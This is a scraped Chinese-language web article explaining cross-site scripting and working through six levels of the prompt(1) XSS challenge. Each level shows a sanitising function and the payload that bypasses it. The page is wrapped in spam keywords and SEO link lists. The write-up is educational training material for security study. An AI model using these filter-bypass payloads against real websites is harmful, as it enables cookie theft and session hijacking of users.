婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 跨站腳本攻擊XSS(Cross Site Script)的原理與常見場景分析

跨站腳本攻擊XSS(Cross Site Script)的原理與常見場景分析

熱門標簽:防城港市ai電銷機器人 交行外呼系統有哪些 不同的地圖標注 隨州銷售外呼系統平臺 臨滄移動外呼系統哪家有 激戰黃昏地圖標注說明 怎么更改地圖標注電話 寧夏保險智能外呼系統哪家好 溫嶺代理外呼系統

前言

前段時間在網上看到一個網址,好奇之下進去看了看。勝利的條件是你錄入一個串,讓其調用prompt(1) 。發現里面有好多想不到的東西,今天終于悠閑了來這里說說XSS。

XSS 原理

跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。

XSS 常見場景

一些私人的博客,攻擊者惡意評論,彈出alert,這種充其量也就是一個玩笑。但是如果是盜竊cookie,異常提交請求,這些就比較難受了。

prompt(1)

chrome 版本 62.0.3202.75(正式版本) (64 位)

function escape(input) {
 // warm up
 // script should be executed without user interaction
 return 'input type="text" value="' + input + '">';
} 

第一個

這是一個開胃菜,沒有做任何校驗,這種不設防的在現在已經很少了。他把值直接拼入字符串,組成一個DOM input標簽,那我們只要正確的把標簽閉合掉就可以調用了。

">script>prompt(1)/script> ,拼出來的字符串為input type="text" value="">script>prompt(1)/script>"> ,這樣就等于插入了我們的代碼。

function escape(input) {
 // tags stripping mechanism from ExtJS library
 // Ext.util.Format.stripTags
 var stripTagsRE = /\/?[^>]+>/gi;
 input = input.replace(stripTagsRE, '');
 return 'article>' + input + '/article>'; 
}

第二個

這個已經提升難度了,/\/?[^>]+>/gi匹配>標簽內的所有東西,如輸入script>prompt(1)/script>轉換過后會出現prompt(1),內容里面的標簽被替換掉了。所以這個我們去嘗試不閉合標簽,讓瀏覽器自己去容錯。

img src onerror="prompt(1);" 該方法通過img加載src失敗會調用onerror的想法。

function escape(input) {
 // v-- frowny face
 input = input.replace(/[=(]/g, '');
 // ok seriously, disallows equal signs and open parenthesis
 return input;
} 

第三個

這個就有點略坑了/[=(]/g把所以的=號和(號都替換掉了,這樣我們嘗試調用的時候就不能使用這些東西了。使用的方法是通過模板字符串的標簽模板,這個ES6的特性。 script>prompt`1`/script>看樣子我們這樣寫就可以了,但是為什么沒有生效呢?下面的圖可以看出來,這樣的話傳入的是字符串,判斷是不通過的,所以我們要修改一下script>prompt.call${1}/script> ,這樣就可以跑過驗證了。(話說markdown如何在``里面寫``)

function escape(input) {
 // filter potential comment end delimiters
 input = input.replace(/->/g, '_');
 // comment the input to avoid script execution
 return '!-- ' + input + ' -->';
} 

第四個

這個看上去是把你寫的內容都放在了html的注釋語句里面,并且用/->/g替換了一把。我想到的方案有條件注釋,但是條件注釋這是IE的東西,我們就先不測試了。

--!>img src onerror="prompt(1);" 使用這個可以關閉

function escape(input) {
 // make sure the script belongs to own site
 // sample script: http://prompt.ml/js/test.js
 if (/^(?:https?:)?\/\/prompt\.ml\//i
 .test(decodeURIComponent(input))) {
 var script = document.createElement('script');
 script.src = input;
 return script.outerHTML;
 } else {
 return 'Invalid resource.';
 }
} 

第五個

這個是通過偽造url,我們使用的是訪問帶有用戶名、密碼保護的 URL來偽造。

http://prompt.ml%2f@urlurl為一個網絡地址引用的js,內容為prompt(1)。本來想嘗試一下data:text/html,html>script>prompt(1)/script>/html>但是沒有成功,然后javascript:;about:blank也沒有通過,挺失落。


function escape(input) {
 // apply strict filter rules of level 0
 // filter ">" and event handlers
 input = input.replace(/>|on.+?=|focus/gi, '_');
 return 'input value="' + input + '" type="text">';
} 

第六個

/>|on.+?=|focus/gi替換了>、onxxxx=和focus。通過input特殊的type類型。

`"type=image src onerror

="prompt(1)`

通過xss能做的事情

有很多,絕大多數的網絡攻擊行為都是把xss作為漏洞鏈中的第一環。通過xss,黑客可以得到的最直接的利益就是拿到用戶瀏覽器(或者一些類瀏覽器app)的cookie。由于目前web系統中實現session的辦法主要是cookie,所以一旦黑客拿到了用戶的cookie,就可以劫持用戶的session,從而變相達到盜取用戶賬號的目的。

xss也使黑客可以以受害用戶的ip地址向其他站點發起web攻擊,因為一切的攻擊腳本都可以借受害用戶的瀏覽器執行。
以這樣的方式,將xss配合起csrf、sql注入等漏洞可以在短時間內對一個服務器發起大量攻擊,并且服務端無法將攻擊ip封死,因為ip是成百上千的xss受害者的ip。

2015年github遭遇的大規模DDOS,實際上就是黑客以某種方式把而已腳本植入到“熊場”的廣告聯盟iframe中,從而對github的某些接口實施攻擊,最終達到DDOS的效果。

另外,持久性xss的傳播性極強,由于web的特點是輕量級、靈活性高,每個用戶每天都可能訪問很多web站點,每個web站點每天都有成千上萬的來訪。所以將xss攻擊配合起一些系統內核級的漏洞,完全可能在幾個小時之內擊垮幾百萬臺智能設備。

如今的xss

相比網上很多資料中,在技術上已經發生了很大變化。由于各大網站加強了對于js腳本、html標簽等關鍵信息的過濾,單純依靠植入javascript代碼很難實施攻擊。

PC端頁面,一些視頻類、頁游網站存在大量的flash內嵌在頁面中,可以嘗試將flash代碼植入,往往可以規避網站安全過濾。移動端頁面,可以植入native代碼(android系統植入java,ios系統植入oc)。

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。

您可能感興趣的文章:
  • 最新的黑客技術:XSS跨站腳本攻擊詳細介紹
  • 關于跨站腳本攻擊問題
  • 跨站腳本攻擊+Cookies欺騙(Discuz篇)
  • 字符集導致的瀏覽器跨站腳本攻擊分析
  • 也談跨站腳本攻擊與防御
  • UBB的跨站腳本攻擊的漏洞
  • 研究UBB的跨站腳本攻擊之綜合篇
  • PHP常用工具函數小結【移除XSS攻擊、UTF8與GBK編碼轉換等】
  • PHP如何防止XSS攻擊與XSS攻擊原理的講解
  • Web安全之XSS攻擊與防御小結
  • 跨站腳本攻擊XSS原理與防范實例分析

標簽:哈密 沈陽 紅河 無錫 青海 忻州 河源 阜陽

巨人網絡通訊聲明:本文標題《跨站腳本攻擊XSS(Cross Site Script)的原理與常見場景分析》,本文關鍵詞  跨站,腳本,攻擊,XSS,Cross,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《跨站腳本攻擊XSS(Cross Site Script)的原理與常見場景分析》相關的同類信息!
  • 本頁收集關于跨站腳本攻擊XSS(Cross Site Script)的原理與常見場景分析的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 涟源市| 濉溪县| 太保市| 乡城县| 河源市| 鸡泽县| 新绛县| 天等县| 广水市| 长宁县| 叙永县| 宁海县| 咸丰县| 西青区| 五家渠市| 揭东县| 张家界市| 简阳市| 永宁县| 漯河市| 高雄市| 博罗县| 年辖:市辖区| 尖扎县| 都兰县| 贡山| 建瓯市| 彰化县| 子洲县| 康保县| 合作市| 灵寿县| 广南县| 北辰区| 青海省| 岑巩县| 扎囊县| 桐庐县| 安福县| 新津县| 广德县|